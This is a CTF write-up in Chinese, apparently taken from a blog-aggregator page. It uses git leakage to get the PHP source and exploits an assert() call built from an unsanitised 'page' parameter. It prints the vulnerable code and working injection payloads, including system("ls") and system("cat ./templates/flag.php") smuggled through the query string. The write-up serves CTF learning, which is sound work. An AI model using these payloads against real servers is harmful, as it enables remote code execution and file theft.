当前位置: 首页 > news >正文

mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");这里的参数是可以闭合的 因为是可控的我们构造 ')assert("strpos('')', '..') === false") or die("Detected hacking attempt!");然后我们可以在后面面接上其他php语句这里有两个').system("ls");//或者') or system("ls");//

最后payload

就是替换为cat即可

/?page=').system("cat ./templates/flag.php");//

http://www.lryc.cn/news/184163.html

相关文章:

  • UE5修改导航网格的参数
  • 郁金香2021年游戏辅助技术中级班(七)
  • 【网络】路由器和交换机的区别
  • SQL的CASE WHEN函数、CAST函数、CONVERT() 函数、COALESCE()函数、DATEDIFF()函数
  • 前后端分离计算机毕设项目之基于springboot+vue的房屋租赁系统《内含源码+文档+部署教程》
  • 《Spring框架前世今生》
  • 基于树种优化的BP神经网络(分类应用) - 附代码
  • 纳百川冲刺创业板上市:计划募资约8亿元,宁德时代为主要合作方
  • light client轻节点简介
  • 1500*B. Zero Array(贪心数学找规律)
  • java Spring Boot整合jwt实现token生成并验证效果
  • 基础-MVP图像处理-仿射变换
  • Linux嵌入式学习之Ubuntu入门(六)shell脚本详解
  • 学习完C++ 并发编程后 手写线程池 最简单的线程池
  • 【Overload游戏引擎分析】编辑器对象鼠标拾取原理
  • 【Spring内容进阶 | 第三篇】AOP进阶内容
  • 华为云ModelArts:引领AI艺术创作的未来,让人人都可以成为“艺术家”!
  • Elasticsearch:如何从 Elasticsearch 集群中删除数据节点
  • 长假回归,回顾一下所有的电商API接口
  • 认识计算机主板
  • PHP乱七八糟面试题
  • pom管理规范
  • AI大模型的安全隐患问题与新兴Anthropic新势力涌动
  • slamplay:用C++实现的SLAM工具集
  • IPT2602协议-USB 快速充电端口控制器
  • Zotero 超好用插件的下载链接及配置方法(PDF-translate/ZotFile/茉莉花/Zotero Scihub)
  • Titus网关中的缓存一致性机制
  • flutter开发实战 - inappwebview设置cookie
  • 零基础如何自学网络安全,基于就业前景全方位讲解,包教包会
  • Java项目防止SQL注入的几种方案